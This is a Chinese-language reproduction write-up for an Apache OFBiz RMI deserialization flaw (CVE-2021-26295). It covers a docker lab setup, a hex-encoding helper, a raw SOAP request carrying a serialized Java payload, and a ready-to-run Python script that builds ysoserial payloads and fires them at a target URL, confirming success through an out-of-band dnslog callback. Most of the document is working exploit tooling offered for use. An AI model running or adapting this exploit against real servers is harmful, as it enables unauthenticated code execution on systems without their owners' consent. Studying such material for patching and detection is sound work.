Apache OFBiz rmi反序列化(CVE-2021-26295)复现
一、漏洞描述
Apache OFBiz存在RMI反序列化前台命令执行，未经身份验证攻击者可构造恶意请求，触发反序列化，从而造成任意代码执行，控制服务器。
二、影响范围
Apache OFBiz：<17.12.06
三、环境搭建&漏洞复现
docker run -d -p 8000:8080 -p 8443:8443 opensourceknight/ofbiz拉取镜像
漏洞复现：
encode脚本：
import binasciifilename = 'thelostworld.ot'with open(filename, 'rb') as f:content = f.read()print(binascii.hexlify(content))
POC：
POST /webtools/control/SOAPService HTTP/1.1Host: 192.168.0.115:8443Content-Type: application/xmlContent-Length: 831<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ser><map-HashMap><map-Entry><map-Key><cus-obj>aced00057372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00014c0004686f737471007e00014c000870726f746f636f6c71007e00014c000372656671007e00017870ffffffffffffffff7400177478663737372e7234343976762e646e736c6f672e636e74000071007e0003740004687474707078</cus-obj></map-Key><map-Value><std-String value="http://noxj3z.dnslog.cn"/></map-Value></map-Entry></map-HashMap></ser></soapenv:Body></soapenv:Envelope>
python3 OFBizPoc.py "https://192.168.0.115:8443/" "http://68zfh0.dnslog.cn"
脚本：Powered by 0x141 Team ShimizuKawasaki
import requestsimport sysimport subprocessfrom urllib3.exceptions import InsecureRequestWarningdef trans(s):return "%s" % ''.join('%.2x' % x for x in s)if __name__ == '__main__':print('''=========================================____ ______ ____ _ _____ ____ _____/ __ | ____| _ (_) | __ / __ / ____|| | | | |__ | |_) |_ ____ | |__) | | | | || | | | __| | _ <| |_ / | ___/| | | | || |__| | | | |_) | |/ / | | | |__| | |________/|_| |____/|_/___| |_| ____/ _____|Powered by 0x141 Team ShimizuKawasaki=========================================''')host = sys.argv[1]comForKey = sys.argv[2]popen = subprocess.Popen(['java','-jar', 'ysoserial.jar', "URLDNS", comForKey], stdout=subprocess.PIPE)data = popen.stdout.read()if len(data) == 0:print("请在当前脚本目录放置ysoserial.jar!")else :hex_data = trans(data)headers = {'Content-Type': 'text/xml'}post_data = '''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/"><ns1:cus-obj>%s</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>''' % hex_datarequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)res = requests.post('%s/webtools/control/SOAPService' % host , data = post_data , headers = headers , verify=False)if res.status_code == 200 :print("已经测试完成,请检查你的dnslog: " + comForKey)
参考：
https://mp.weixin.qq.com/s/s2glEvy-jrD1CDzuOCGbbg
https://mp.weixin.qq.com/s/XT2P6vB8e2pDp3_Dulfzhw
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